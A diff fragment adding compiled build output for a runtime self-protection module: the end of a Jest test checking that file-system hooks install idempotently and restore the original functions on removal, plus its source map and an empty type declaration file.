+ const descriptor = Object.getOwnPropertyDescriptor(owner, api);
224
+ return descriptor ? [{ owner, api, descriptor }] : [];
225
+ }));
226
+ expect((0, fs_1.installFsHooks)()).toBe(true);
227
+ const wrapper = fs.readFile;
228
+ expect((0, fs_1.installFsHooks)()).toBe(true);
229
+ expect(fs.readFile).toBe(wrapper);
230
+ for (const { owner, api, descriptor } of saved) {
231
+ const fn = Reflect.get(owner, api);
232
+ expect(fn.name).toBe(descriptor.value.name);
233
+ expect(fn.length).toBe(descriptor.value.length);
234
+ }
235
+ (0, fs_1.uninstallFsHooks)();
236
+ (0, fs_1.uninstallFsHooks)();
237
+ for (const { owner, api, descriptor } of saved) {
238
+ expect(Object.getOwnPropertyDescriptor(owner, api)).toEqual(descriptor);
239
+ }
240
+ });
241
+ //# sourceMappingURL=fs-hook.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"fs-hook.test.js","sourceRoot":"","sources":["../../../src/rasp/__tests__/fs-hook.test.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1 @@
1
+ export {};